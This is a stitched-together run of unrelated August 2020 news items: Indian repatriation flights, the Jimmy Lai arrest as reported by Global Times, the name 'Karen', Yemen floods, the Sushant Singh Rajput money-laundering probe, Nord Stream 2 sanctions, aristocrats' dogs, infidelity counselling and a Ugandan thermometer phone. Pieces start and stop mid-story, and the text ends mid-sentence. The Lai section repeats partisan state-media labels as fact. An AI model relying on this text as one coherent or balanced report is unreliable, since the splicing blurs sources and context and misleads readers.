Minister Hardeep Singh Puri on Monday (August 10) informed that around one million stranded Indians have returned to the country under the Vande Bharat Mission (VBM), over 130 K people have flown to various countries. Taking to microblogging Twitter, Puri said, "Nearly one million stranded Indians have returned through various modes under VBM and more than 130K have flown to various countries. Driven by the aspirations of our people, the mission continues to facilitate repatriation and outbound travel of stranded and distressed citizens.'' Nearly one million stranded Indians have returned through various modes under VBM & more than 130K have flown to various countries. Driven by the aspirations of our people, the mission continues to facilitate repatriation & outbound travel of stranded & distressed citizens. pic.twitter.com/dRHqaup0L5 Hardeep Singh Puri (@HardeepSPuri) August 10, 2020 Out of the one million stranded Indians who returned back to their homeland, over 6,000 had returned to India from across the world on Sunday (August 9) alone, said Union Minister for Civil Aviation Hardeep Singh Puri as he recommenced the updates of Vande Bharat Mission with tributes to those who died in the Kozhikode plane accident. A special Air India flight, under the Vande Bharat Mission, carrying Indian nationals stranded due to COVID-19 restrictions took off from Sydney airport on Monday. "Vande Bharat Mission continues to bring home stranded Indian Nationals. It has facilitated travel of over a million stranded Indian nationals so far!! Another Special flight, AI 301 Sydney-Delhi sector left Sydney airport today. Thank you @dfat @airindiain @MEAIndia and @MoCA_GoI," Consulate General of India, Sydney tweeted. In a tragic incident, on Friday late evening the Air India Express flight carrying 190 passengers including 10 infants skidded while landing at Karipur airport in Kozhikode. The Vande Bharat Mission started in early May to evacuate Indians stranded abroad due to coronavirus restrictions. While specifics of the hybrid model have not been finalized, district administration gave a look at two options, one in which students in grades 1-8 would attend school daily for a half day and do remote learning the other half of the day, and one in which there would be full-day in-person student attendance twice a week and full-day remote learning three times a week. UPDATE: More personnel from Apple Daily to be arrested: observers Global Times By Chen Qingqing Source: Global Times Published: 2020/8/10 8:26:28 After the arrest of Jimmy Lai Chee-ying, founder of Apple Daily, for violating the national security law for Hong Kong, the Hong Kong Police Force searched the headquarters of Next Digital, parent company of Apple Daily, on Monday morning, as more executives from the notorious media group were arrested. Lai, the Hong Kong riot supporter, has been arrested for violating the national security law for Hong Kong for collusion with foreign powers, sources close to the Hong Kong Police Force confirmed with the Global Times on Monday morning. Police detained at least seven people during the operations. Along with this arrest, two of Lai's sons and two senior executives from Next Digital - an executive chairman and a chairman in charge of the outlet's operation and finances - have also been arrested. One of Lai's aides, Mark Simon, is currently abroad and wanted by police. This was the first time the local media mogul, who is widely seen as a "modern traitor," was arrested for violating the law, which was enacted on June 30 and targets four types of criminal acts in the Hong Kong Special Administrative Region (HKSAR) - acts of secession, subversion of state power, terrorist activities and collusion with foreign forces to endanger national security. Some legal experts believe the case will involve a group charge of violating the national security law for Hong Kong, targeting the notorious local newspaper Apple Daily, which has played a role of instigating hatred, spreading rumors and smearing Hong Kong authorities and the mainland for years. It has also played an active role in inciting anti-government riots as it is backed and funded by foreign forces to bring about a "color revolution" in the city, experts said. The police said the operation is still ongoing and has not ruled out further arrests. "It's likely that more personnel from the media outlet will be arrested," considering what the newspaper has done, Lawrence Tang Fei, a member of the Chinese Association of Hong Kong and Macao Studies, told the Global Times on Monday. Lai had been arrested multiple times over the past year on suspicion of participating in an unlawful assembly and intimidating journalists, defying police bans and clashing with police amid social turmoil across the city. But Lai had been also granted bail several times, and had travel bans imposed. "This time, for violating the national security law, it will be difficult for him to be granted bail again," Tian Feilong, a legal expert on Hong Kong affairs at Beihang University in Beijing, told the Global Times on Monday. The arrest also represents the most typical case of violation of the national security law for Hong Kong, and Lai is highly likely to face heavy penalties given that he has constantly challenged the law, Tian said. The law carries a maximum penalty of life imprisonment, with the chief perpetrator in particular likely to face severe punishment. Local media also said that in addition to Lai, six other individuals, including his two sons, had also been arrested for collusion with foreign powers. Lai was also suspected of fraud, the sources said. While Western politicians, media outlets and activists paint Lai as a "hero" for democracy who has been "suppressed," many Chinese netizens cheered the arrest early Monday morning. "Finally, we see he is being arrested!" a netizen said in a Weibo post on Monday morning. "Never too late for justice," another netizen said. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address A new chart has confirmed that most Karens in America really are middle-aged, with its popularity as a baby name peaking in the 1950s and 60s. Data from the Social Security Administration and collated by the Baby Center chronicles the rise and fall in popularity of the female baby name dating from 1880 to 2018 in the US. It was at its most popular in the 1950s and 60s - the era of the baby boomer - meaning that today a typical Karen can expect to be in her 50s or 60s. The name 'Karen' has become synonymous in recent months with the image of a privileged, middle-class white woman becoming embroiled in racist incidents. The name Karen peaked in popularity in 1956, when 19,953 US babies per every million born were given the name The data reveals the name was fairly rare in the US in the early 1900s, but slowly began to rise in popularity to a high in the 50s and 60s. In every year between 1951 and 1968, Karen ranked in the top 10 of all female baby names in America, SSA data shows. The name peaked in popularity in 1956, when 19,953 US babies per every million born were given the name, according to the Baby Center. The SSA reveals that Karen was the seventh most popular name given to newborn baby girls that year. Its popularity continued through the 60s, and in 1965 it was the third most popular name, even though less babies overall were named Karen. The name has steadily fallen out of favor ever since the 1950s and 60s, with the SSA finding that by 2018 the name had fallen to number 635 in the ranking of most popular names. Just 468 Karens were born that year in the US, making up just 0.025 percent of all newborn girls. And it does not seem like the trend is likely to change anytime soon given the current negative associations with the name. The term 'Karen' has taken off this year as numerous videos have done the rounds on social media of entitled, middle-aged white women making racist comments or using their privilege to get a desired outcome from a situation. Other examples have seen entitled white women refusing to wear masks in public places where mandates are in place to slow the spread of the virus. While the women derided in the social media videos are not necessarily named Karen and don't all fall into the baby boomer bracket, the name has fast become a symbol of this type of behavior. Central Park Karen One of the most notorious examples was the white woman dubbed Central Park Karen, after she called police on birdwatcher who asked her to put her dog on a leash in May. Amy Cooper, 41, was caught on camera putting on a hysterical voice as she calling the cops on 57-year-old black man Christian Cooper (no relation). Ms Cooper was fired from her senior position at a New York investment firm and shamed by New York City Mayor Bill de Blasio after the incident went viral on social media. She was charged with falsely reporting an incident in the third degree in July. But former Marvel Comics editor Christian has not cooperated with the prosecutor's investigation, and says he believes the woman has suffered enough. One of the most notorious examples was the white woman dubbed Central Park Karen who was fired from her senior position at a New York investment firm and shamed by New York City Mayor Bill de Blasio following an incident that went viral on social media the same weekend as Floyd's death Sacramento Karen Over in Sacramento, another white woman was dubbed a 'Karen' after she twice called a black woman the n-word during an argument in a convenience store in June. The shocking footage showed the unidentified middle-aged woman making the racial slur at a younger black woman during a shouting match in a California 7-Eleven. The black woman then dares her to use the racist term again, which she then does, causing the black woman to punch the 'Karen' in the face. Over in Sacramento, another white woman was dubbed a 'Karen' after she twice called a black woman the n-word during a fight in a convenience store Costco Karen A woman dubbed 'Costco Karen' sat on the floor of the superstore, refused to move and declared 'I have constitutional rights!' after she was asked to put on a face mask in July. Shocking video of the confrontation, believed to have unfolded at the returns desk of a Costco in Hillsboro, Oregon, shows an employee asking an older woman to wear a mask in the store to follow its coronavirus policy. The woman had a face mask dangling from one ear but refused to put it on completely to cover her mouth. New York, US (PANA) - Entrenched political divisions in Guinea-Bissau pose a serious threat to stability in the West African country, the top UN official there told the Security Council on Monday, as she called for continued international engagement and for reforms outlined in a four-year old agreement, to be enacted Zelda Williams, actor and daughter of the late comedian and actor Robin Williams, rebuked Donald Trump's son Eric on Twitter Friday after he shared a video clip of the late comedian cracking jokes about Joe Biden. The tweet features a clip of Williams dubbing the Democratic candidate "rambling Joe Biden" with added accompanying text reading "Robin Williams just savages Joe Biden." In the video, from the 2009 special "Weapons of Self-Destruction," Williams fires away at the politician, saying, "Joe is like your uncle who is on a new drug and hasn't got the dosage right." Zelda Williams responded later that day, quoting the tweet and writing, "While were 'reminiscing' (to further your political agenda), you should look up what he said about your Dad. I did. Promise you, its much more savage. Gentle reminder that the dead cant vote, but the living can." In 2012, the comedy great likened now-President Donald Trump to "a scary man" and "the Wizard of Oz" because of his work as a real estate businessman. Robin Williams also jabbed at Trump over well-publicized comments he made about his daughter Ivanka's appearance. "This is a man who said 'my daughter is hot,'" Williams said. "Even people in Arkansas went 'that's fing wrong. That's just way out of place.'" The exchange comes just days before Zelda Williams announced she'd be taking a break from social media Tuesday on the sixth anniversary of her father's death by suicide, as she has in years past. "It's hard for me on regular, good days to remain the person expected to graciously accept the world's need to share their memories of him and express their condolences for this loss," she wrote. She added that while she understands fans like to express their "boundless continued love for him," at times it "leaves me emotionally buried under a pile of other's memories instead of my own." She followed up the tweet with a number of resources for those who may be suffering from depression. Alyssa Pereira is a culture editor at SFGate. Email: alyssa.pereira@sfgate.com | Twitter: @alyspereira Source: Xinhua| 2020-08-12 02:15:20|Editor: huaxia Video Player Close A boy swims in the flood water following heavy rains in the north of Sanaa, Yemen, on Aug. 12, 2020. The United Nations on Tuesday called for more funds for Yemen as 16 of its 22 governorates are being flooded. Heavier-than-usual rains throughout 2020, including monthly flash floods since March, have affected at least 16 of the country's 22 governorates. Local authorities estimate that 130 people have died and more than 120 others have been injured across Yemen's northern governorates, the UN Office for the Coordination of Humanitarian Affairs (OCHA) said. (Photo by Mohammed Mohammed/Xinhua) UNITED NATIONS, Aug. 11 (Xinhua) -- The United Nations on Tuesday called for more funds for Yemen as 16 of its 22 governorates are being flooded. Humanitarian organizations are assessing the situation and mobilizing emergency assistance, including relief items for flood-affected families, said the UN Office for the Coordination of Humanitarian Affairs (OCHA). Movement restrictions due to COVID-19 and limited nonfood supplies are challenging the humanitarian response, it said. To date, the Yemen humanitarian response plan is only 21 percent funded, said OCHA, urging donors to pay all outstanding pledges immediately and to consider increasing their support. "Limited donor funding is forcing core programs to close or reduce support across different sectors, including food, water, health and nutrition," said OCHA. Heavier-than-usual rains throughout 2020, including monthly flash floods since March, have affected at least 16 of the country's 22 governorates. Local authorities estimate that 130 people have died and more than 120 others have been injured across Yemen's northern governorates, it said. The floods have led to the repeated displacement of people. Entire houses have been damaged, with roads, telecommunications and Internet services affected in Sanaa Governorate, and electric towers and sanitation stations affected in Marib Governorate, said OCHA. ED questions Sushant Singh Rajput's roommate Siddharth Pithani, business manager Shruti Modi India oi-Madhuri Adnal Mumbai, Aug 11: The Enforcement Directorate (ED) on Tuesday questioned Sushant Singh Rajput's friend and roommate Siddharth Pithani and the late actor's business manager Shruti Modi in connection with a money laundering case linked to his death. Pithani and Modi arrived at the office of the central probe agency in the Ballard Estate area around 11 am in response to their scheduled summons, officials said. Rhea, her family appear before ED again in Sushant Singh case Both of them were questioned by the agency on Monday and their statements were recorded under the Prevention of Money Laundering Act (PMLA). Shruti Modi was questioned last week too. Pithani, an IT professional, had told various news channels that he was present in the Bandra flat on June 14 when the 34-year-old actor allegedly hanged himself. Pithani, who Rajput used to call 'Buddha', is stated to be living with Rajput for about a year, and had earlier recorded his statement with the Mumbai Police as part of its accidental death report (ADR) probe in the case. Independence Day: Indian flag to unfurl at Times Square & more news | Oneindia News On Monday, the ED questioned the prime accused in the case, actor Rhea Chakraborty (28), for about nine hours. She has been questioned for around 18-19 hours till now. Her father Indrajit Chakraborty and brother Showik have also been questioned for varied lengths of time earlier. The ED is also expected to question one of Rajput's three sisters in this case on Tuesday or Wednesday. Rhea, her family and a friend of Rajput are expected to be called in for questioning again. The ED had also questioned the chartered accountants (CAs) of Rhea and Rajput and the deceased actor's house manager Samuel Miranda in the past. The agency is understood to have questioned Rhea, who stated in her petition to the Supreme Court that she was in a live-in relationship with Rajput, about her friendship with the late actor, business dealings and the developments that took place over the last few years between them. Sushant Singh Rajput case: Mumbai police opposes CBI probe in SC The ED's line of questioning, officials said, is revolving around Rhea's income, investments, business and professional deals, and links. Also under the ED's scanner is a property located in the city's Khar area and another in Raigad district of the state, both linked to Rhea, for the source of purchase and ownership. Agency sources have said they "want more answers" from Rhea over the alleged mismatch between her income, expenditure and investments. They said while Rhea has filed Income Tax Returns stating an income of about Rs 18 lakh in the recent past, the value of her investments is reportedly higher. Her father, they said, is a retired defence personnel who gets a pension of around Rs one lakh per month. The sources said Rhea told the agency that she had made the property investments from her income, savings and has also taken bank loans. Rhea has been accused by Rajput's father of abetting his son's suicide and she had initially refused to appear before the agency citing her appeal pending before the Supreme Court that is slated to be heard on Tuesday. Her lawyer Satish Maneshinde had said Rhea is a law-abiding citizen and would cooperate with the probe. She has filed a petition in the apex court requesting that the case lodged by the Bihar Police against her be transferred to the Mumbai police. Rhea, through her lawyer, also shared a picture of a note on Saturday which she claimed was written by Rajput to express his gratitude towards her and her family. She also shared a photograph of a water sipper, which is a piece of movie merchandise from Rajput's 2019 film "Chhichhore". "The only property of Sushant that I possess," she said in a message sent along with the photo to the media. The ED, during the questioning sessions, is learnt to have confronted Rhea, Showik and Modi with certain bank statements that purportedly show transfer of small amounts into Showik's accounts from those of Rajput and Chakraborty. Rajput's 74-year-old father K K Singh, who resides in Patna, had on July 25 filed a complaint with the Patna police against Rhea, her parents (including mother Sandhya Chakraborty), Showik, Rajput's manager Samuel Miranda, Shruti Modi and unknown persons accusing them of cheating and abetting his son's suicide. The CBI had re-registered this FIR as a fresh case on Thursday and named as accused the same people. Singh also alleged financial irregularities in bank accounts of his son. In the complaint, Singh alleged that an amount of Rs 15 crore was siphoned off from Rajput's bank account in one year to accounts of persons not known or connected to the late actor. Under the ED's scanner are also at least two companies linked to Rajput and some financial deals involving Rhea, her father and Showik, who are stated to be directors in these companies. For Breaking News and Instant Updates Allow Notifications Story first published: Tuesday, August 11, 2020, 13:24 [IST] The number of Virgin Australia staff in Queensland who will lose their jobs in the national cull of 3000 positions remains unknown, with the airline to put out the call for voluntary redundancies. Hundreds of Queensland positions could go, with about 5000 of Virgin's 9000 staff members working in the state and 1200 based in its Bowen Hills head office, according to Queensland Treasury. Virgin Australia planes at Brisbane Airport, grounded during the COVID-19 pandemic aviation downturn. Credit:Albert Perez/Getty There were reports on Tuesday that 400 Virgin staff would go from the Brisbane Airport base, but the airline said it was impossible to know how many jobs would be lost in each state at this stage. "Consultation with the unions and employee representatives is still under way and no team members have yet left the business," a Virgin Australia Group spokeswoman said. Loren Elliott/Getty Images SpaceX, the American aerospace manufacturer and space transportation services company, is currently building its new passenger and cargo aircraft, Starship. According to the website, the aircraft will offer 'service to Earth orbit, Moon, Mars and beyond.' The company has plans to chauffeur passengers to Mars in the near future, and part of this endeavor will include a luxury resort stay. The SpaceX site, in Boca Chica, Texas, is seeking a "Resort Development Manager" with the hopes that the city will become a 21st century Spaceport. British aristocrats and high society beauties have kept their fans entertained with a glimpse at the pampered lives of their precious pooches over the summer. Leading the elite highlighting their love of dogs online are Earl Spencer and the Duchess of Rutland, both 56, who fill their Instagram feeds with snaps of their animals enjoying their plentiful grounds. Elsewhere, the Duchess of Cambridge's brother James Middleton, 33, often shows off his beloved pets enjoying lavish meals or snazzy trips - with the entrepreneur even boasting a 2,000 dog bike so his six canines can travel in style. Meanwhile, Grace Kelly's granddaughter Camille Gottlieb, 21, who is based in Monaco, and Lydia Forte, the daughter of hotelier Sir Rocco, both offer their followers a glimpse of the luxury lives of their sun-loving pooches. Here, FEMAIL takes a look at the socialites showing off their glamorous pets on Instagram. CHARLES SPENCER Princess Diana's brother Charles, Earl Spencer, 56, often shares snaps of his adorable dogs to his Instagram account, demonstrating the comfortable spots his pets like to claim at his Althorp Estate. Pictured are his two new puppies Forager and Rufus One of Charles' other dogs, a sullen golden Labrador Retriever, sits on a lavish red carpet while resting at the family home. Sharing the photo with his 12,000 followers, Charles wrote: 'Not enjoying the thunder outside.' Earl Spencer, the younger brother of Princess Diana, posts on Instagram and Twitter - where he boasts a combined 21,800 followers - show how he has been passing the time with early morning strolls Princess Diana's brother Charles, Earl Spencer, 56, often shares snaps of his adorable dogs Forager and Rufus to his Instagram account, demonstrating the comfortable spots his pets like to claim at his Althorp Estate. Heir Charles, the 9th Earl Spencer, spent lockdown isolating at his 90-room property in Northamptonshire, with his third wife, Karen, and their seven-year-old daughter Lady Charlotte Diana Spencer. While the house itself offers plenty of room to roam around, the family also has 550 acres of land to explore. Earl Spencer inherited the family seat in Northamptonshire on the death of his father in 1992. Althorp boasts 500 years worth of art and family relics and is the final resting place of Princess Diana. PRINCESS OLYMPIA OF GREECE Proving her stylish prowess even when next to her pet, pictured right, Princess Olympia of Greece, who spent lockdown in the UK, showcased her adorable dog enjoying a trip to the beach, seen left, recently on her social media account. The name of her pooch is unknown Princess Olympia of Greece appears to make sure every dog in her life feels loved by offering plenty of affectionate cuddles, pictured. It is unclear if this another of Olympia's pets Stylish socialite, Princess Olympia of Greece, who spent lockdown in the UK, loves a dog with character. The model is the only daughter of Pavlos, Crown Prince of Greece and and his wife, Marie-Chantal Miller. She is the happy owner of a German Shepherd whose name is unknown, which she takes with her on her numerous adventures. The pair recently enjoyed a trip to the beach. DUCHESS OF RUTLAND At Belvoir Castle, the Duchess of Rutland, 56, often shows her six dogs enjoying the stunning grounds in Leicestershire. Posting the above snap, the proud duchess wrote: 'Our dog family' 'Snoozy pups,' the duchess wrote to caption this image of her three smallest dogs resting on a sofa in the castle. She shared it with her 10,000 Instagram followers last month The Duchess of Rutland, 56, has continued her business-minded plan to keep Belvoir Castle afloat amid the coronavirus pandemic, revealing a virtual tour of the estate and a take-away menu for meals from the Engine Yard Emma Manners, Duchess of Rutland, 56, is the proud owner of six dogs, of different breeds, including a pug, a labrador and a Westie. She loves to let the dogs loose on the grounds of the beautiful Belvoir Castle in Leicestershire. She married David Manners, 11th Duke of Rutland in 1992 and the pair have five children: Lady Violet, 27, Lady Alice, 25, Lady Eliza, 22, Charles John Montague, Marquess of Granby, 21 and Lord Hugo Manners, 17. CAMILLE GOTTLIEB Camille Gottlieb, whose mother is Princess Stephanie of Monaco and grandmother is the late Grace Kelly, delights in showing off her lovable pet to her 68,000 Instagram followers. However, the name and age of her dog remains unclear Illustrating the dog's pampered lifestyle which appears to be filled with days in the sun, pictured, the 21-year-old shared a snap of her beloved pet recently with the caption: 'The person I love the most' The second daughter of Stephanie of Monaco and granddaughter of silver-screen legend Grace Kelly, Camille Gottlieb, 21, loves her pup and enjoys showing him off to her 68,000 followers on Instagram. The Monaco royal and socialite called her dog 'the person [she] love[s] the most. ' The pampered pet enjoys relaxing sunbathing sessions in the sun and walks on the beach with his illustrious owner. His name and age are, however, unknown. LYDIA FORTE Lydia Forte, the daughter of hotelier Sir Rocco, is currently enjoying a break with her family in Greece. Keeping her 26,000 Instagram followers up-to-date with her lavish travels, she shared this adorable photograph of a dog enjoying the sun, sand and sea. It's unclear if the animal belongs to Lydia The glamorous It Girl (pictured during lockdown), who is close friends of Princesses Eugenie and Beatrice and a stalwart of the London social scene, joined her parents in isolation at their sprawling 1,800-acre estate in Ripley, Surrey Lydia Forte, 33, is the daughter of the hotelier Sir Rocco, whose company owns the Balmoral Hotel as well as several others around Europe, Russia and South Africa. She is also a close friend of Princesses Eugenie and Beatrice and a regular on the London social scene. She recently shared the picture of an adorable white and black cross during a holiday, leaving her Instagram to ponder whether the pooch was hers or belonged to a friend. LADY MARY CHARTERIS At the start of lockdown, Lady Mary Charteris, 33, who was thought to be based at her family estate at Stanway House, in Gloucestershire, at the time, shared this adorable and rare snap of a pooch thought to be her pet. She wrote: 'Thank god for snuggly puppy dogs and snuggly PJs, right now more than ever' Lady Mary Charteris, 33, who is thought to be based at her family estate of Stanway House in Gloucestershire, recently shared a snap of a 'snuggly puppy' thought to be hers. The cuddly pup, believed to be a bulldog, seemed not to mind a relaxing evening at home. The model and DJ is the daughter of Scottish nobleman James Charteris, 13th Earl of Wemyss and 9th Earl of March and Catherine Guinness. JAMES MIDDLETON The Duchess of Cambridge's brother James Middleton, 33, often shows off his pampered pets enjoying lavish meals (pictured) or snazzy trips on his social media account The entrepreneur even boasts a 2,000 dog bike so his six canines can travel in style, pictured. James, who lives in Berkshire, has often credited his dogs with helping him through his struggle with depression Kate Middleton's 33-year-old brother's love for dogs has been well-documented, and often by the pet-lover himself. The entrepreneur owns nine dogs: his golden retriever Mabel, a black Labrador, two Cocker Spaniels, and five black Spaniels called Rafa, Ella, Zulu, Inka and Luna. He's credited his pooches for helping him fight his depression and even invested in a 2,000 dog bike so that as many of his pooches as possible can hop and accompany him on his adventures when he hits the town. Middleton, who is engaged to French financier Alizee Thevenet, have been delighting his fans by sharing numerous snaps of his pooches on Instagram during lockdown and over the years prior. Barron, Africa's largest supplier of promotional products and Loeries partner in the Media Innovation Category, has launched a competition to find the '#OfficialMaskOfTheLoeries' and invites the creative community to submit their creative face mask designs on social media. Musa Ndlovu, Barron marketing and communications manager Musa Ndlovu, Barron marketing and communications manager, says: For 30 years our company has offered a wide variety of canvasses and solutions that support brands and the face mask is now firmly established as the iconic 2020 symbol. It saves lives, embraces social activism and challenges creatives across the board to step boldly into a new branding space. As such they are the ideal for telling better stories in this new era of brand purpose and a cost-effective vehicle for more than the 10,000 resellers we represent, businesses operating across our continent.The competition is open to all creatives, not only designers, and entries must be electronic. The winning design will be produced in an exclusive limited edition run and distributed to the Loeries community.Ndlovu says: A vector file can be downloaded from the Loeries Facebook and Instagram accounts to create a mask mock-up to be posted with the hashtag:. Entries close on 28 August and the 20 most creative designs will be shortlisted for The Loeries committee who will then choose the winning design. The good news is that creative work in other categories can be used for the mask. All the competition details are on the Loeries website and innovation, quality and relevance are key criteria. Notably the winners name will feature on the mask, in the Loeries newsletter, website and social media platforms.The Loeries, a non-profit company, is Africa and the Middle Easts premiere initiative that recognises, rewards, inspires and fosters creative excellence in the brand communication industry. As the highest accolade for creativity and innovation across the region, the Loeries promotes and supports creativity by helping marketers, agencies and consumers appreciate the value of ideas and fresh thinking. Culminating in the biggest creative gathering in Africa and the Middle East, Loeries Creative Week Johannesburg attracts the best innovative minds for a festival of networking, inspiring minds and recognising great work. The region's creative economy is world-class and has great potential to grow and to offer employment to talented youth and experienced creatives.CEO Preetesh Sewraj says: The #OfficialMaskOfTheLoeries initiative will allow us to work with Barron to communicate the importance of an essential item in a fun way. I believe we will see many exciting submissions from the creative community. The Russian laying ship 'Akademik Tscherski' is moored in the port of Mukran on the island of Rugen, Germany. The special ship is being prepared in the port for the further construction of the Nord Stream 2 Baltic Sea pipeline. Photo: Stefan Sauer/Picture Alliance via Getty Relations between Berlin and Washington soured further this week over the latest US threats against a German port involved in the nearly-finished Nord Stream 2 pipeline bringing Russian gas to Germany. Republican senators Ted Cruz, Tom Cotton, and Ron Johnson had sent a threatening letter last week to Fahrhafen Sassnitz, the company that operates the port of Mukran on the island of Rugen in the Baltic Sea. The senators accused the port company of knowingly providing significant goods, services, and support" for Russian and German pipeline-construction vessels near the German coast, and ordered it to cease its activities supporting the pipeline, threatening it with "crushing legal and economic sanctions. German foreign minister Heiko Maas told reporters on Monday (10 August) that he had expressed his displeasure about the letter on a phone call to US secretary of state Mike Pompeo. Chancellor Angela Merkels spokesman Steffen Seibert told reporters in Berlin yesterday that Germany clearly rejected extraterritorial sanctions. German minister of state Niels Annen last week described the letter as completely outrageous. He told broadcaster ZDF that threatening a close friend and ally with sanctions, and using that kind of language, will not work. The letter to the port operator said that the Nord Stream 2 pipeline was a grave threat to European energy security and American national security." Their words echo Donald Trumps repeated attacks on Merkel that allowing the pipeline will make Germany too dependent on Russia for its energy. Trump is also keen to sell more American liquefied natural gas to Germany and Europe. Pompeo also warned in July that Washington would punish companies and investors the natural gas pipeline with sanctions under a revision to the USs 2017 CAATSA (Countering Americas Adversaries through Sanctions) law. "Its a clear warning to companies aiding and abetting Russias malign influence projects will not be tolerated, Pompeo said. Get out now or risk the consequences. Story continues Only about 160km (99 miles) of the 1,200km pipeline, worth 10bn (9bn, $12bn), is left to lay. Russian state energy firm Gazprom is the main owner of the pipeline, with co-financing companies including Wintershall, Uniper (UN01.DE), and Royal Dutch Shell (RDS-A). In its first-half report on Tuesday, energy company Uniper noted that with the US intensifying their efforts on targeted sanctions against the Nord Stream 2 project, the probability of a delay or even non-completion of the pipeline is increasing. The controversial pipeline has also been opposed by Ukraine and Poland, who point out that it will bypass central and eastern European countries, robbing them of gas transit fees and putting them in an insecure position if Russia shuts down its other pipelines in eastern Europe. Germany has repeatedly rebuffed US threats to impose sanctions on companies involved in Nord Stream 2, telling Washington that it should stop meddling in German affairs. Infidelity is relatively common, as we've seen in our work as psychologists specializing in helping individuals and couples over 50. And research supports our experience: About 20 percent of men and 13 percent of women commit adultery, according to the University of Virginia's Institute of Family Studies. We also know that the incidence of infidelity increases, not decreases, with age. Surprisingly, women are most likely to cheat in their 60s; for men, in their 70s. Julia probed a little, believing Ben had cheated on Carol. She led them through a slow, deliberate process in an attempt to reveal secrets and get closer. Here's how Julia proceeded, adapted from Love and Meaning After 50: Consider revealing the old affair Not all relationship experts believe older affairs need to be revealed; some think it ultimately does more harm than good. But we believe that secrets have insidious negative effects and are often a barrier to closeness whether revealed or not; at least, once they're cautiously and carefully shared, there is a chance for remorse, anger, disappointment and healing. One research study found that couples who revealed infidelity during couples therapy and then dealt with the emotional reactions were more likely to survive in the long term than those who went through therapy and didn't. Revelation of an affair often creates a crisis for couples that requires them to confront not just what happened but what has been dissatisfying about their communication, decision-making, degree of respect and affection, division of labor and other aspects of their relationship. Sometimes, this crisis creates powerful impetus for both spouses to significantly change or walk away from one another. With Julia's gentle prodding, Carol revealed she had had an affair when their 18-year-old daughters were young children. Ben was surprised but not shocked. As Julia noted, it was as if he had always known that Carol held back emotionally from him. Delve into the motivation for the affair In our clinical experience, we've found that spouses generally stray because they are unhappy with their relationship. A partner may seek an affair out of anger or unmet emotional or sexual needs. When Julia asked Carol why she had had the affair, she explained that Ben had been a heavy drinker in those years and often came home from work late, neglecting her and their children. Ben hung his head and agreed that that had been true. Talk it out with help Learning that your partner was unfaithful hurts deeply, even if the affair was a drunken one-night stand or occurred many years before. Strong emotions sweep in. We've seen two opposing responses: a rush away from the cheating spouse to protect oneself, or toward the spouse to save a suddenly threatened relationship. Neither is as effective as reflecting on what this violation means. It often takes the involvement of a trained third party, such as a therapist or pastoral counselor, to help both spouses to slow down their reactions and instead begin the hard, painstaking work necessary for healing. Ben became upset, angry and tearful at Carol's news. Julia empathized with him, while also helping him listen to what Carol needed to share with him. Reconnect through remorse Affairs almost always do damage. They can't be shrugged off too lightly or forgiven too easily, no matter how eager spouses may be to put it behind them. We have seen time and again that the offending spouse needs to express authentic remorse for as many times over as many years as the injured spouse needs to hear it. This may be wrenching to revisit and hard to hear, but it's the only way trust is restored and the relationship is put on better footing. Carol felt remorseful for her affair. Ben, in turn, was remorseful for his drinking and irresponsibility. Julia helped them express these emotions and hear one another, expressing a candor and vulnerability they hadn't shared in years. When couples are able to face their most difficult challenges together walking through the process that many of our clients have successfully used they have the opportunity to increase their connectedness and intimacy, and go forward with a better marriage than ever. The teachers of the government-aided intermediate college, where the state human resource development (HRD) minister Jagarnath Mahto applied for admission in class-11 on Monday, are allegedly unpaid for past four months, even though the minister, who is also the chairman of the governing body of the college, claimed that grant for the college has been approved a week back. A section of the teachers of Devi Mahto Memorial Intermediate College (DMMIC), Nawadih in Bokaro district, which suddenly hit the news on Monday after state education minister applied for admission, have alleged that they have not received their payment since April. A teacher of the college, who requested anonymity, said, We remained deprived of payment even during peak months of Corona pandemic. Also Read: Jharkhand HRD minister applies for admission in class 11 as regular student The DMMIC is having around 16 teachers, who impart education to about 850 students in 17-room infrastructure. General secretary of Inter College Karmachari Mahasangh (ICKM) Raghunath Singh said the government had released the grant to the college in March but it needs approval from the colleges governing body before distribution it to the teaching and non-teaching staff. Due to the lockdown and Covid protocols, the governing body meeting could not take place, which delayed the payment to the teachers, he said. Singh said, This is not the single case. The delay in payment to the teachers of government aided colleges is a common phenomenon in Jharkhand. The payment is delayed either due to late release of grant by the government or non-holding of governing body of the colleges in time. Therefore, we have been demanding from the government to provide payment directly to the bank of accounts of teachers instead of giving it to colleges. He said there are 170 government affiliated inter colleges in Jharkhand, which run of government grants. State government releases estimated 50 crore annually as grants to these colleges, while colleges generate around 25 crore from their own sources like admission and other fees, he said. When the principal of the DMMIC was contacted, Dinesh Prasad said, College was shut for past three months due to lockdown for Covid-19. Besides, the college campus was made quarantine centre for the migrant workers. The administration has handed over the college around a fortnight back. So, the payment got delayed. He said, We have received the government aid and admission has also started. So, everything will be in place very soon. The HRD minister, who claimed to have established the college in 2006 on a donated land when was legislator from the area, said, I have approved the grant a week back. Now, it is upto the college administration when and how it distributes the salaries to the teachers. The minister is also chairman of the governing body of the college, which got temporary affiliation in 2008 and permanent affiliation from the Jharkhand Academic Council (JAC) in 2012. SHARE THIS ARTICLE ON Source: Xinhua| 2020-08-12 01:07:14|Editor: huaxia Video Player Close MUKONO, Uganda, Aug. 11 (Xinhua) -- As Uganda continues to ease the COVID-19 lockdown restrictions, new procedures are being put in place to reduce the possible spread of the virus. Along with social distancing, hand sanitization and wearing of masks, temperature screening is one of the requirements before entry into shopping malls, hotels, restaurants or hospitals. A Chinese firm, ENGO Holdings Limited, located in the central Ugandan district of Mukono has started assembling smartphones that have an infrared thermometer. The firm, which is into assembling analog phones, smartphones and computer laptops, told Xinhua in an interview on Tuesday that their new innovation is critical for businesses after over four months of lockdown. David Beecham Okwere, secretary of Chief Executive Director ENGO Holdings Limited, said the development of the device took a period of four months with support from the firm's parent company in China. Okwere said the phone is currently going through an approval process by the country's standards agency, Uganda National Bureau of Standards. He said preliminary tests have shown that the phone takes accurate temperatures without going through recalibration all the time. Evelyn Anite, state minister for investment, told Xinhua in an interview that the development of the device is good news for Uganda and Africa especially at a time when the COVID-19 pandemic is increasing. "This is exciting news not only for Uganda but also Africa. The most important function in this phone during this coronavirus period is the thermometer gun," Anite said. The market price for the phone is about 100 U.S. dollars, according to Okwere. He however noted that this may be expensive for the rural people, noting that government may need to give the firm some concessions to make the device affordable. Anite said government may consider giving tax exemptions or other incentives to make the device affordable. The ministry of health said such innovation is a big boost in the country's fight against the pandemic. Uganda as of Aug. 11 had reported 1,313 COVID-19 cases, 1,138 recoveries and nine deaths since the index case was reported on March 21. Enditem Hong Kongs new draconian security law has been occupying headlines around the world since it was forcefully imposed by China on 